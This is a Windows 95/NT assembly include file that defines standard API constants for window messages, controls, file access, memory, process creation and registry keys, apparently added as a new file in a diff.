+ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[WIN.INC]ΔΔΔ +;Windows95/NT assembly language include file by SMT/SMF. All rights reserved. +;Modifed by Necr0mancer.No rights reserved. + +NULL equ 0 +TRUE equ 1 +FALSE equ 0 + +MAX_PATH equ 260 +PIPE_WAIT equ 00000000h +PIPE_NOWAIT equ 00000001h +PIPE_READMODE_BYTE equ 00000000h +PIPE_READMODE_MESSAGE equ 00000002h +PIPE_TYPE_BYTE equ 00000000h +PIPE_TYPE_MESSAGE equ 00000004h +SC_SIZE equ 0F000h +SC_MOVE equ 0F010h +SC_MINIMIZE equ 0F020h +SC_MAXIMIZE equ 0F030h +SC_NEXTWINDOW equ 0F040h +SC_PREVWINDOW equ 0F050h +SC_CLOSE equ 0F060h +SC_VSCROLL equ 0F070h +SC_HSCROLL equ 0F080h +SC_MOUSEMENU equ 0F090h +SC_KEYMENU equ 0F100h +SC_ARRANGE equ 0F110h +SC_RESTORE equ 0F120h +SC_TASKLIST equ 0F130h +SC_SCREENSAVE equ 0F140h +SC_HOTKEY equ 0F150h +SC_DEFAULT equ 0F160h +SC_MONITORPOWER equ 0F170h +SC_CONTEXTHELP equ 0F180h +SC_SEPARATOR equ 0F00Fh + +WM_NULL equ 0000h +WM_CREATE equ 0001h +WM_DESTROY equ 0002h +WM_MOVE equ 0003h +WM_SIZE equ 0005h +WM_ACTIVATE equ 0006h +WA_INACTIVE equ 0 +WA_ACTIVE equ 1 +WA_CLICKACTIVE equ 2 +WM_SETFOCUS equ 0007h +WM_KILLFOCUS equ 0008h +WM_ENABLE equ 000Ah +WM_SETREDRAW equ 000Bh +WM_SETTEXT equ 000Ch +WM_GETTEXT equ 000Dh +WM_GETTEXTLENGTH equ 000Eh +WM_PAINT equ 000Fh +WM_CLOSE equ 0010h +WM_QUERYENDSESSION equ 0011h +WM_QUIT equ 0012h +WM_QUERYOPEN equ 0013h +WM_ERASEBKGND equ 0014h +WM_SYSCOLORCHANGE equ 0015h +WM_ENDSESSION equ 0016h +WM_SHOWWINDOW equ 0018h +WM_WININICHANGE equ 001Ah +WM_DEVMODECHANGE equ 001Bh +WM_ACTIVATEAPP equ 001Ch +WM_FONTCHANGE equ 001Dh +WM_TIMECHANGE equ 001Eh +WM_CANCELMODE equ 001Fh +WM_SETCURSOR equ 0020h +WM_MOUSEACTIVATE equ 0021h +WM_CHILDACTIVATE equ 0022h +WM_QUEUESYNC equ 0023h +WM_GETMINMAXINFO equ 0024h +WM_PAINTICON equ 0026h +WM_ICONERASEBKGND equ 0027h +WM_NEXTDLGCTL equ 0028h +WM_SPOOLERSTATUS equ 002Ah +WM_DRAWITEM equ 002Bh +WM_MEASUREITEM equ 002Ch +WM_DELETEITEM equ 002Dh +WM_VKEYTOITEM equ 002Eh +WM_CHARTOITEM equ 002Fh +WM_SETFONT equ 0030h +WM_GETFONT equ 0031h +WM_SETHOTKEY equ 0032h +WM_GETHOTKEY equ 0033h +WM_QUERYDRAGICON equ 0037h +WM_COMPAREITEM equ 0039h +WM_COMPACTING equ 0041h +WM_COMMNOTIFY equ 0044h ; /* no longer suported */ +WM_WINDOWPOSCHANGING equ 0046h +WM_WINDOWPOSCHANGED equ 0047h +WM_POWER equ 0048h +WM_COPYDATA equ 004Ah +WM_CANCELJOURNAL equ 004Bh +WM_NOTIFY equ 004Eh +WM_INPUTLANGCHANGERequEST equ 0050h +WM_INPUTLANGCHANGE equ 0051h +WM_TCARD equ 0052h +WM_HELP equ 0053h +WM_USERCHANGED equ 0054h +WM_NOTIFYFORMAT equ 0055h +NFR_ANSI equ 1h +NFR_UNICODE equ 2h +NF_QUERY equ 3h +NF_RequERY equ 4h +WM_CONTEXTMENU equ 007Bh +WM_STYLECHANGING equ 007Ch +WM_STYLECHANGED equ 007Dh +WM_DISPLAYCHANGE equ 007Eh +WM_GETICON equ 007Fh +WM_SETICON equ 0080h +WM_NCCREATE equ 0081h +WM_NCDESTROY equ 0082h +WM_NCCALCSIZE equ 0083h +WM_NCHITTEST equ 0084h +WM_NCPAINT equ 0085h +WM_NCACTIVATE equ 0086h +WM_GETDLGCODE equ 0087h +WM_NCMOUSEMOVE equ 00A0h +WM_NCLBUTTONDOWN equ 00A1h +WM_NCLBUTTONUP equ 00A2h +WM_NCLBUTTONDBLCLK equ 00A3h +WM_NCRBUTTONDOWN equ 00A4h +WM_NCRBUTTONUP equ 00A5h +WM_NCRBUTTONDBLCLK equ 00A6h +WM_NCMBUTTONDOWN equ 00A7h +WM_NCMBUTTONUP equ 00A8h +WM_NCMBUTTONDBLCLK equ 00A9h +WM_KEYFIRST equ 0100h +WM_KEYDOWN equ 0100h +WM_KEYUP equ 0101h +WM_CHAR equ 0102h +WM_DEADCHAR equ 0103h +WM_SYSKEYDOWN equ 0104h +WM_SYSKEYUP equ 0105h +WM_SYSCHAR equ 0106h +WM_SYSDEADCHAR equ 0107h +WM_KEYLAST equ 0108h +WM_IME_STARTCOMPOSITION equ 010Dh +WM_IME_ENDCOMPOSITION equ 010Eh +WM_IME_COMPOSITION equ 010Fh +WM_IME_KEYLAST equ 010Fh +WM_INITDIALOG equ 0110h +WM_COMMAND equ 0111h +WM_SYSCOMMAND equ 0112h +WM_TIMER equ 0113h +WM_HSCROLL equ 0114h +WM_VSCROLL equ 0115h +WM_INITMENU equ 0116h +WM_INITMENUPOPUP equ 0117h +WM_MENUSELECT equ 011Fh +WM_MENUCHAR equ 0120h +WM_ENTERIDLE equ 0121h +WM_CTLCOLORMSGBOX equ 0132h +WM_CTLCOLOREDIT equ 0133h +WM_CTLCOLORLISTBOX equ 0134h +WM_CTLCOLORBTN equ 0135h +WM_CTLCOLORDLG equ 0136h +WM_CTLCOLORSCROLLBAR equ 0137h +WM_CTLCOLORSTATIC equ 0138h +WM_MOUSEFIRST equ 0200h +WM_MOUSEMOVE equ 0200h +WM_LBUTTONDOWN equ 0201h +WM_LBUTTONUP equ 0202h +WM_LBUTTONDBLCLK equ 0203h +WM_RBUTTONDOWN equ 0204h +WM_RBUTTONUP equ 0205h +WM_RBUTTONDBLCLK equ 0206h +WM_MBUTTONDOWN equ 0207h +WM_MBUTTONUP equ 0208h +WM_MBUTTONDBLCLK equ 0209h +WM_MOUSEWHEEL equ 020Ah +WM_PARENTNOTIFY equ 0210h +MENULOOP_WINDOW equ 0h +MENULOOP_POPUP equ 1h +WM_ENTERMENULOOP equ 0211h +WM_EXITMENULOOP equ 0212h +WM_SIZING equ 0214h +WM_CAPTURECHANGED equ 0215h +WM_MOVING equ 0216h +WM_POWERBROADCAST equ 0218h +WM_DEVICECHANGE equ 0219h +WM_IME_SETCONTEXT equ 0281h +WM_IME_NOTIFY equ 0282h +WM_IME_CONTROL equ 0283h +WM_IME_COMPOSITIONFULL equ 0284h +WM_IME_SELECT equ 0285h +WM_IME_CHAR equ 0286h +WM_IME_KEYDOWN equ 0290h +WM_IME_KEYUP equ 0291h +WM_MDICREATE equ 0220h +WM_MDIDESTROY equ 0221h +WM_MDIACTIVATE equ 0222h +WM_MDIRESTORE equ 0223h +WM_MDINEXT equ 0224h +WM_MDIMAXIMIZE equ 0225h +WM_MDITILE equ 0226h +WM_MDICASCADE equ 0227h +WM_MDIICONARRANGE equ 0228h +WM_MDIGETACTIVE equ 0229h +WM_MDISETMENU equ 0230h +WM_ENTERSIZEMOVE equ 0231h +WM_EXITSIZEMOVE equ 0232h +WM_DROPFILES equ 0233h +WM_MDIREFRESHMENU equ 0234h +WM_MOUSEHOVER equ 02A1h +WM_MOUSELEAVE equ 02A3h +WM_CUT equ 0300h +WM_COPY equ 0301h +WM_PASTE equ 0302h +WM_CLEAR equ 0303h +WM_UNDO equ 0304h +WM_RENDERFORMAT equ 0305h +WM_RENDERALLFORMATS equ 0306h +WM_DESTROYCLIPBOARD equ 0307h +WM_DRAWCLIPBOARD equ 0308h +WM_PAINTCLIPBOARD equ 0309h +WM_VSCROLLCLIPBOARD equ 030Ah +WM_SIZECLIPBOARD equ 030Bh +WM_ASKCBFORMATNAME equ 030Ch +WM_CHANGECBCHAIN equ 030Dh +WM_HSCROLLCLIPBOARD equ 030Eh +WM_QUERYNEWPALETTE equ 030Fh +WM_PALETTEISCHANGING equ 0310h +WM_PALETTECHANGED equ 0311h +WM_HOTKEY equ 0312h +WM_PRINT equ 0317h +WM_PRINTCLIENT equ 0318h +WM_HANDHELDFIRST equ 0358h +WM_HANDHELDLAST equ 035Fh +WM_AFXFIRST equ 0360h +WM_AFXLAST equ 037Fh +WM_PENWINFIRST equ 0380h +WM_PENWINLAST equ 038Fh + + + +MB_OK equ 000000000h +MB_OKCANCEL equ 000000001h +MB_ABORTRETRYIGNORE equ 000000002h +MB_YESNOCANCEL equ 000000003h +MB_YESNO equ 000000004h +MB_RETRYCANCEL equ 000000005h +MB_TYPEMASK equ 00000000fh +MB_ICONHAND equ 000000010h +MB_ICONQUESTION equ 000000020h +MB_ICONEXCLAMATION equ 000000030h +MB_ICONASTERISK equ 000000040h +MB_ICONMASK equ 0000000f0h +MB_ICONINFORMATION equ 000000040h +MB_ICONSTOP equ 000000010h +MB_DEFBUTTON1 equ 000000000h +MB_DEFBUTTON2 equ 000000100h +MB_DEFBUTTON3 equ 000000200h +MB_DEFMASK equ 000000f00h +MB_APPLMODAL equ 000000000h +MB_SYSTEMMODAL equ 000001000h +MB_TASKMODAL equ 000002000h +MB_NOFOCUS equ 000008000h +IDNO equ 7 +IDYES equ 6 +IDCANCEL equ 2 +SB_HORZ equ 0 +SB_VERT equ 1 +SB_CTL equ 2 +SB_BOTH equ 3 +SB_THUMBPOSITION equ 4 +SB_ENDSCROLL equ 8 + +SW_HIDE equ 00h +SW_SHOWNORMAL equ 01h +SW_SHOWMINIMIZED equ 02h +SW_SHOWMAXIMIZED equ 03h +SW_SHOW equ 05h +SW_RESTORE equ 09h +SW_SHOWDEFAULT equ 0Ah +WM_USER equ 0400h + +WS_POPUP equ 080000000h +WS_CHILD equ 040000000h +WS_MINIMIZE equ 020000000h +WS_VISIBLE equ 010000000h +WS_MAXIMIZE equ 001000000h +WS_CAPTION equ 000C00000h +WS_BORDER equ 000800000h +WS_DLGFRAME equ 000400000h +WS_VSCROLL equ 000200000h +WS_HSCROLL equ 000100000h +WS_SYSMENU equ 000080000h +;WS_SIZEBOX equ 000040000h +WS_MINIMIZEBOX equ 000020000h +WS_MAXIMIZEBOX equ 000010000h +WS_OVERLAPPEDWINDOW equ 000CF0000h +WS_EX_NOPARENTNOTIFY equ 000000004h +WS_EX_WINDOWEDGE equ 000000100h +WS_EX_CLIENTEDGE equ 000000200h +WS_EX_OVERLAPPEDWINDOW equ WS_EX_WINDOWEDGE + WS_EX_CLIENTEDGE + +CS_VREDRAW equ 00001h +CS_HREDRAW equ 00002h +CS_PARENTDC equ 00080h +CS_BYTEALIGNWINDOW equ 02000h + +BDR_RAISEDOUTER equ 01h +BDR_SUNKENOUTER equ 02h +BDR_RAISEDINNER equ 04h +BDR_SUNKENINNER equ 08h +EDGE_RAISED equ BDR_RAISEDOUTER + BDR_RAISEDINNER +EDGE_SUNKEN equ BDR_SUNKENOUTER + BDR_SUNKENINNER +EDGE_ETCHED equ BDR_SUNKENOUTER + BDR_RAISEDINNER +EDGE_BUMP equ BDR_RAISEDOUTER + BDR_SUNKENINNER +BF_LEFT equ 01h +BF_TOP equ 02h +BF_RIGHT equ 04h +BF_BOTTOM equ 08h +BF_RECT equ BF_LEFT + BF_TOP + BF_RIGHT + BF_BOTTOM +IDOK equ 1 +IDCANCEL equ 2 +IDABORT equ 3 +IDRETRY equ 4 +IDIGNORE equ 5 +IDYES equ 6 +IDNO equ 7 +IDCLOSE equ 8 +IDHELP equ 9 +COLOR_BTNFACE equ 15 +DLGWINDOWEXTRA equ 30 +IDC_ARROW equ 32512 +WM_CTLCOLORDLG equ 136h +WM_SETFOCUS equ 7 +WM_KEYFIRST equ 0100h +WM_KEYDOWN equ 0100h +WM_KEYUP equ 0101h +WM_CHAR equ 0102h +WM_DEADCHAR equ 0103h +WM_SYSKEYDOWN equ 0104h +WM_SYSKEYUP equ 0105h +WM_SYSCHAR equ 0106h +WM_SYSDEADCHAR equ 0107h +WM_KEYLAST equ 0108h +WM_SETICON equ 80h + +DS_3DLOOK equ 0004H +DS_FIXEDSYS equ 0008H +DS_NOFAILCREATE equ 0010H +DS_CONTROL equ 0400H +DS_CENTER equ 0800H +DS_CENTERMOUSE equ 1000H +DS_CONTEXTHELP equ 2000H +DS_ABSALIGN equ 01h +DS_SYSMODAL equ 02h +DS_LOCALEDIT equ 20h +DS_SETFONT equ 40h +DS_MODALFRAME equ 80h +DS_NOIDLEMSG equ 100h +DS_SETFOREGROUND equ 200h + +FILE_FLAG_WRITE_THROUGH equ 80000000h +FILE_FLAG_OVERLAPPED equ 40000000h +FILE_FLAG_NO_BUFFERING equ 20000000h +FILE_FLAG_RANDOM_ACCESS equ 10000000h +FILE_FLAG_SequENTIAL_SCAN equ 08000000h +FILE_FLAG_DELETE_ON_CLOSE equ 04000000h +FILE_FLAG_BACKUP_SEMANTICS equ 02000000h +FILE_FLAG_POSIX_SEMANTICS equ 01000000h + +CREATE_NEW equ 1 +CREATE_ALWAYS equ 2 +OPEN_EXISTING equ 3 +OPEN_ALWAYS equ 4 +TRUNCATE_EXISTING equ 5 + +GMEM_FIXED equ 0000h +GMEM_MOVEABLE equ 0002h +GMEM_NOCOMPACT equ 0010h +GMEM_NODISCARD equ 0020h +GMEM_ZEROINIT equ 0040h +GMEM_MODIFY equ 0080h +GMEM_DISCARDABLE equ 0100h +GMEM_NOT_BANKED equ 1000h +GMEM_SHARE equ 2000h +GMEM_DDESHARE equ 2000h +GMEM_NOTIFY equ 4000h +GMEM_LOWER equ GMEM_NOT_BANKED +GMEM_VALID_FLAGS equ 7F72h +GMEM_INVALID_HANDLE equ 8000h + + +LMEM_FIXED equ 0000h +LMEM_MOVEABLE equ 0002h +LMEM_NOCOMPACT equ 0010h +LMEM_NODISCARD equ 0020h +LMEM_ZEROINIT equ 0040h +LMEM_MODIFY equ 0080h +LMEM_DISCARDABLE equ 0F00h +LMEM_VALID_FLAGS equ 0F72h +LMEM_INVALID_HANDLE equ 8000h + +LHND equ (LMEM_MOVEABLE or LMEM_ZEROINIT) +LPTR equ (LMEM_FIXED or LMEM_ZEROINIT) + +NONZEROLHND equ (LMEM_MOVEABLE) +NONZEROLPTR equ (LMEM_FIXED) +LMEM_DISCARDED equ 4000h +LMEM_LOCKCOUNT equ 00FFh +DRIVE_UNKNOWN equ 0 +DRIVE_NO_ROOT_DIR equ 1 +DRIVE_REMOVABLE equ 2 +DRIVE_FIXED equ 3 +DRIVE_REMOTE equ 4 +DRIVE_CDROM equ 5 +DRIVE_RAMDISK equ 6 +FILE_TYPE_UNKNOWN equ 0000h +FILE_TYPE_DISK equ 0001h +FILE_TYPE_CHAR equ 0002h +FILE_TYPE_PIPE equ 0003h +FILE_TYPE_REMOTE equ 8000h + +;================================ WINNT.H =============== +FILE_READ_DATA equ ( 0001h ) +FILE_LIST_DIRECTORY equ ( 0001h ) +FILE_WRITE_DATA equ ( 0002h ) +FILE_ADD_FILE equ ( 0002h ) +FILE_APPEND_DATA equ ( 0004h ) +FILE_ADD_SUBDIRECTORY equ ( 0004h ) +FILE_CREATE_PIPE_INSTANCE equ ( 0004h ) +FILE_READ_EA equ ( 0008h ) +FILE_WRITE_EA equ ( 0010h ) +FILE_EXECUTE equ ( 0020h ) +FILE_TRAVERSE equ ( 0020h ) +FILE_DELETE_CHILD equ ( 0040h ) +FILE_READ_ATTRIBUTES equ ( 0080h ) +FILE_WRITE_ATTRIBUTES equ ( 0100h ) + +;FILE_ALL_ACCESS equ (STANDARD_RIGHTS_RequIRED or SYNCHRONIZE or 1FFh) +;FILE_GENERIC_READ equ (STANDARD_RIGHTS_READ or FILE_READ_DATA or FILE_READ_ATTRIBUTES or FILE_READ_EA or SYNCHRONIZE) +;FILE_GENERIC_WRITE equ (STANDARD_RIGHTS_WRITE or FILE_WRITE_DATA or FILE_WRITE_ATTRIBUTES or FILE_WRITE_EA or FILE_APPEND_DATA or SYNCHRONIZE) +;FILE_GENERIC_EXECUTE equ (STANDARD_RIGHTS_EXECUTE or FILE_READ_ATTRIBUTES or FILE_EXECUTE or SYNCHRONIZE) + +FILE_SHARE_READ equ 00000001h +FILE_SHARE_WRITE equ 00000002h +FILE_SHARE_DELETE equ 00000004h +FILE_ATTRIBUTE_READONLY equ 00000001h +FILE_ATTRIBUTE_HIDDEN equ 00000002h +FILE_ATTRIBUTE_SYSTEM equ 00000004h +FILE_ATTRIBUTE_DIRECTORY equ 00000010h +FILE_ATTRIBUTE_ARCHIVE equ 00000020h +FILE_ATTRIBUTE_NORMAL equ 00000080h +FILE_ATTRIBUTE_TEMPORARY equ 00000100h +FILE_ATTRIBUTE_COMPRESSED equ 00000800h +FILE_ATTRIBUTE_OFFLINE equ 00001000h +FILE_NOTIFY_CHANGE_FILE_NAME equ 00000001h +FILE_NOTIFY_CHANGE_DIR_NAME equ 00000002h +FILE_NOTIFY_CHANGE_ATTRIBUTES equ 00000004h +FILE_NOTIFY_CHANGE_SIZE equ 00000008h +FILE_NOTIFY_CHANGE_LAST_WRITE equ 00000010h +FILE_NOTIFY_CHANGE_LAST_ACCESS equ 00000020h +FILE_NOTIFY_CHANGE_CREATION equ 00000040h +FILE_NOTIFY_CHANGE_SECURITY equ 00000100h +FILE_ACTION_ADDED equ 00000001h +FILE_ACTION_REMOVED equ 00000002h +FILE_ACTION_MODIFIED equ 00000003h +FILE_ACTION_RENAMED_OLD_NAME equ 00000004h +FILE_ACTION_RENAMED_NEW_NAME equ 00000005h +FILE_CASE_SENSITIVE_SEARCH equ 00000001h +FILE_CASE_PRESERVED_NAMES equ 00000002h +FILE_UNICODE_ON_DISK equ 00000004h +FILE_PERSISTENT_ACLS equ 00000008h +FILE_FILE_COMPRESSION equ 00000010h +FILE_VOLUME_IS_COMPRESSED equ 00008000h +GENERIC_READ equ 80000000h +GENERIC_WRITE equ 40000000h +GENERIC_EXECUTE equ 20000000h +GENERIC_ALL equ 10000000h + +DELETE equ 00010000h +READ_CONTROL equ 00020000h +WRITE_DAC equ 00040000h +WRITE_OWNER equ 00080000h +SYNCHRONIZE equ 00100000h +STANDARD_RIGHTS_RequIRED equ 000F0000h +STANDARD_RIGHTS_READ equ READ_CONTROL +STANDARD_RIGHTS_WRITE equ READ_CONTROL +STANDARD_RIGHTS_EXECUTE equ READ_CONTROL +STANDARD_RIGHTS_ALL equ 001F0000h +SPECIFIC_RIGHTS_ALL equ 0000FFFFh + +FILE_BEGIN equ 0 +FILE_CURRENT equ 1 +FILE_END equ 2 + +ES_LEFT equ 0000h +ES_CENTER equ 0001h +ES_RIGHT equ 0002h +ES_MULTILINE equ 0004h +ES_UPPERCASE equ 0008h +ES_LOWERCASE equ 0010h +ES_PASSWORD equ 0020h +ES_AUTOVSCROLL equ 0040h +ES_AUTOHSCROLL equ 0080h +ES_NOHIDESEL equ 0100h +ES_OEMCONVERT equ 0400h +ES_READONLY equ 0800h +ES_WANTRETURN equ 1000h +EN_SETFOCUS equ 0100h +EN_KILLFOCUS equ 0200h +EN_CHANGE equ 0300h +EN_UPDATE equ 0400h +EN_ERRSPACE equ 0500h +EN_MAXTEXT equ 0501h +EN_HSCROLL equ 0601h +EN_VSCROLL equ 0602h +EC_LEFTMARGIN equ 0001h +EC_RIGHTMARGIN equ 0002h +EC_USEFONTINFO equ 0ffffh +EM_GETSEL equ 00B0h +EM_SETSEL equ 00B1h +EM_GETRECT equ 00B2h +EM_SETRECT equ 00B3h +EM_SETRECTNP equ 00B4h +EM_SCROLL equ 00B5h +EM_LINESCROLL equ 00B6h +EM_SCROLLCARET equ 00B7h +EM_GETMODIFY equ 00B8h +EM_SETMODIFY equ 00B9h +EM_GETLINECOUNT equ 00BAh +EM_LINEINDEX equ 00BBh +EM_SETHANDLE equ 00BCh +EM_GETHANDLE equ 00BDh +EM_GETTHUMB equ 00BEh +EM_LINELENGTH equ 00C1h +EM_REPLACESEL equ 00C2h +EM_GETLINE equ 00C4h +EM_LIMITTEXT equ 00C5h +EM_CANUNDO equ 00C6h +EM_UNDO equ 00C7h +EM_FMTLINES equ 00C8h +EM_LINEFROMCHAR equ 00C9h +EM_SETTABSTOPS equ 00CBh +EM_SETPASSWORDCHAR equ 00CCh +EM_EMPTYUNDOBUFFER equ 00CDh +EM_GETFIRSTVISIBLELINE equ 00CEh +EM_SETREADONLY equ 00CFh +EM_SETWORDBREAKPROC equ 00D0h +EM_GETWORDBREAKPROC equ 00D1h +EM_GETPASSWORDCHAR equ 00D2h +EM_SETMARGINS equ 00D3h +EM_GETMARGINS equ 00D4 +EM_SETLIMITTEXT equ EM_LIMITTEXT +EM_GETLIMITTEXT equ 00D5h +EM_POSFROMCHAR equ 00D6h +EM_CHARFROMPOS equ 00D7h +WB_LEFT equ 0 +WB_RIGHT equ 1 +WB_ISDELIMITER equ 2 +BS_PUSHBUTTON equ 00000000h +BS_DEFPUSHBUTTON equ 00000001h +BS_CHECKBOX equ 00000002h +BS_AUTOCHECKBOX equ 00000003h +BS_RADIOBUTTON equ 00000004h +BS_3STATE equ 00000005h +BS_AUTO3STATE equ 00000006h +BS_GROUPBOX equ 00000007h +BS_USERBUTTON equ 00000008h +BS_AUTORADIOBUTTON equ 00000009h +BS_OWNERDRAW equ 0000000Bh +BS_LEFTTEXT equ 00000020h +BS_TEXT equ 00000000h +BS_ICON equ 00000040h +BS_BITMAP equ 00000080h +BS_LEFT equ 00000100h +BS_RIGHT equ 00000200h +BS_CENTER equ 00000300h +BS_TOP equ 00000400h +BS_BOTTOM equ 00000800h +BS_VCENTER equ 00000C00h +BS_PUSHLIKE equ 00001000h +BS_MULTILINE equ 00002000h +BS_NOTIFY equ 00004000h +BS_FLAT equ 00008000h +BS_RIGHTBUTTON equ BS_LEFTTEXT +BN_CLICKED equ 0 +BN_PAINT equ 1 +BN_HILITE equ 2 +BN_UNHILITE equ 3 +BN_DISABLE equ 4 +BN_DOUBLECLICKED equ 5 +BN_PUSHED equ BN_HILITE +BN_UNPUSHED equ BN_UNHILITE +BN_DBLCLK equ BN_DOUBLECLICKED +BN_SETFOCUS equ 6 +BN_KILLFOCUS equ 7 +BM_GETCHECK equ 00F0h +BM_SETCHECK equ 00F1h +BM_GETSTATE equ 00F2h +BM_SETSTATE equ 00F3h +BM_SETSTYLE equ 00F4h +BM_CLICK equ 00F5h +BM_GETIMAGE equ 00F6h +BM_SETIMAGE equ 00F7h +BST_UNCHECKED equ 0000h +BST_CHECKED equ 0001h +BST_INDETERMINATE equ 0002h +BST_PUSHED equ 0004h +BST_FOCUS equ 0008h +SS_LEFT equ 00000000h +SS_CENTER equ 00000001h +SS_RIGHT equ 00000002h +SS_ICON equ 00000003h +SS_BLACKRECT equ 00000004h +SS_GRAYRECT equ 00000005h +SS_WHITERECT equ 00000006h +SS_BLACKFRAME equ 00000007h +SS_GRAYFRAME equ 00000008h +SS_WHITEFRAME equ 00000009h +SS_USERITEM equ 0000000Ah +SS_SIMPLE equ 0000000Bh +SS_LEFTNOWORDWRAP equ 0000000Ch +SS_OWNERDRAW equ 0000000Dh +SS_BITMAP equ 0000000Eh +SS_ENHMETAFILE equ 0000000Fh +SS_ETCHEDHORZ equ 00000010h +SS_ETCHEDVERT equ 00000011h +SS_ETCHEDFRAME equ 00000012h +SS_TYPEMASK equ 0000001Fh +SS_NOTIFY equ 00000100h +SS_CENTERIMAGE equ 00000200h +SS_RIGHTJUST equ 00000400h +SS_REALSIZEIMAGE equ 00000800h +SS_SUNKEN equ 00001000h +SS_ENDELLIPSIS equ 00004000h +SS_PATHELLIPSIS equ 00008000h +SS_WORDELLIPSIS equ 0000C000h +SS_ELLIPSISMASK equ 0000C000h + +CDN_FIRST equ (0-601) +CDN_LAST equ (0-699) +OFN_READONLY equ 00000001h +OFN_OVERWRITEPROMPT equ 00000002h +OFN_HIDEREADONLY equ 00000004h +OFN_NOCHANGEDIR equ 00000008h +OFN_SHOWHELP equ 00000010h +OFN_ENABLEHOOK equ 00000020h +OFN_ENABLETEMPLATE equ 00000040h +OFN_ENABLETEMPLATEHANDLE equ 00000080h +OFN_NOVALIDATE equ 00000100h +OFN_ALLOWMULTISELECT equ 00000200h +OFN_EXTENSIONDIFFERENT equ 00000400h +OFN_PATHMUSTEXIST equ 00000800h +OFN_FILEMUSTEXIST equ 00001000h +OFN_CREATEPROMPT equ 00002000h +OFN_SHAREAWARE equ 00004000h +OFN_NOREADONLYRETURN equ 00008000h +OFN_NOTESTFILECREATE equ 00010000h +OFN_NONETWORKBUTTON equ 00020000h +OFN_NOLONGNAMES equ 00040000h +OFN_EXPLORER equ 00080000h +OFN_NODEREFERENCELINKS equ 00100000h +OFN_LONGNAMES equ 00200000h +OFN_SHAREFALLTHROUGH equ 2 +OFN_SHARENOWARN equ 1 +OFN_SHAREWARN equ 0 +CDN_INITDONE equ (CDN_FIRST - 0000) +CDN_SELCHANGE equ (CDN_FIRST - 0001) +CDN_FOLDERCHANGE equ (CDN_FIRST - 0002) +CDN_SHAREVIOLATION equ (CDN_FIRST - 0003) +CDN_HELP equ (CDN_FIRST - 0004) +CDN_FILEOK equ (CDN_FIRST - 0005) +CDN_TYPECHANGE equ (CDN_FIRST - 0006) + +DEBUG_PROCESS equ 00000001h +DEBUG_ONLY_THIS_PROCESS equ 00000002h +CREATE_SUSPENDED equ 00000004h +DETACHED_PROCESS equ 00000008h +CREATE_NEW_CONSOLE equ 00000010h +NORMAL_PRIORITY_CLASS equ 00000020h +IDLE_PRIORITY_CLASS equ 00000040h +HIGH_PRIORITY_CLASS equ 00000080h +REALTIME_PRIORITY_CLASS equ 00000100h +CREATE_NEW_PROCESS_GROUP equ 00000200h +CREATE_UNICODE_ENVIRONMENT equ 00000400h +CREATE_SEPARATE_WOW_VDM equ 00000800h +CREATE_SHARED_WOW_VDM equ 00001000h +CREATE_FORCEDOS equ 00002000h +CREATE_DEFAULT_ERROR_MODE equ 04000000h +CREATE_NO_WINDOW equ 08000000h +PROFILE_USER equ 10000000h +PROFILE_KERNEL equ 20000000h +PROFILE_SERVER equ 40000000h + +MAXLONGLONG equ (7fffffffffffffffh) +MAXLONG equ 7fffffffh +MAXBYTE equ 0ffh +MAXWORD equ 0ffffh +MAXDWORD equ 0ffffffffh +MINCHAR equ 80h +MAXCHAR equ 07fh +MINSHORT equ 8000h +MAXSHORT equ 7fffh +MINLONG equ 80000000h + +THREAD_BASE_PRIORITY_LOWRT equ 15 ;// value that gets a thread to LowRealtime-1 +THREAD_BASE_PRIORITY_MAX equ 2 ;// maximum thread base priority boost +THREAD_BASE_PRIORITY_MIN equ -2 ;// minimum thread base priority boost +THREAD_BASE_PRIORITY_IDLE equ -15 ;// value that gets a thread to idle +THREAD_PRIORITY_LOWEST equ THREAD_BASE_PRIORITY_MIN +THREAD_PRIORITY_BELOW_NORMAL equ (THREAD_PRIORITY_LOWEST+1) +THREAD_PRIORITY_NORMAL equ 0 +THREAD_PRIORITY_HIGHEST equ THREAD_BASE_PRIORITY_MAX +THREAD_PRIORITY_ABOVE_NORMAL equ (THREAD_PRIORITY_HIGHEST-1) +THREAD_PRIORITY_ERROR_RETURN equ (MAXLONG) +THREAD_PRIORITY_TIME_CRITICAL equ THREAD_BASE_PRIORITY_LOWRT +THREAD_PRIORITY_IDLE equ THREAD_BASE_PRIORITY_IDLE + +HKEY_CLASSES_ROOT equ 80000000h +HKEY_CURRENT_USER equ 80000001h +HKEY_LOCAL_MACHINE equ 80000002h +HKEY_USERS equ 80000003h +HKEY_PERFORMANCE_DATA equ 80000004h +HKEY_CURRENT_CONFIG equ 80000005h +HKEY_DYN_DATA equ 80000006h + +REG_OPTION_RESERVED equ 00000000h +REG_OPTION_NON_VOLATILE equ 00000000h +REG_OPTION_VOLATILE equ 00000001h +REG_OPTION_CREATE_LINK equ 00000002h +REG_OPTION_BACKUP_RESTORE equ 00000004h +REG_OPTION_OPEN_LINK equ 00000008h +REG_LEGAL_OPTION equ REG_OPTION_RESERVED or REG_OPTION_NON_VOLATILE or REG_OPTION_VOLATILE or REG_OPTION_CREATE_LINK or REG_OPTION_BACKUP_RESTORE or REG_OPTION_OPEN_LINK +REG_CREATED_NEW_KEY equ 00000001h +REG_OPENED_EXISTING_KEY equ 00000002h +REG_WHOLE_HIVE_VOLATILE equ 00000001h +REG_REFRESH_HIVE equ 00000002h +REG_NO_LAZY_FLUSH equ 00000004h +REG_NOTIFY_CHANGE_NAME equ 00000001h +REG_NOTIFY_CHANGE_ATTRIBUTES equ 00000002h +REG_NOTIFY_CHANGE_LAST_SET equ 00000004h +REG_NOTIFY_CHANGE_SECURITY equ 00000008h +REG_LEGAL_CHANGE_FILTER equ REG_NOTIFY_CHANGE_NAME or REG_NOTIFY_CHANGE_ATTRIBUTES or REG_NOTIFY_CHANGE_LAST_SET or REG_NOTIFY_CHANGE_SECURITY +REG_NONE equ 0 +REG_SZ equ 1 +REG_EXPAND_SZ equ 2 +REG_BINARY equ 3 +REG_DWORD equ 4 +REG_DWORD_LITTLE_ENDIAN equ 4 +REG_DWORD_BIG_ENDIAN equ 5 +REG_LINK equ 6 +REG_MULTI_SZ equ 7 +REG_RESOURCE_LIST equ 8 +REG_FULL_RESOURCE_DESCRIPTOR equ 9 +REG_RESOURCE_RequIREMENTS_LIST equ 10 + +KEY_QUERY_VALUE equ 0001h +KEY_SET_VALUE equ 0002h 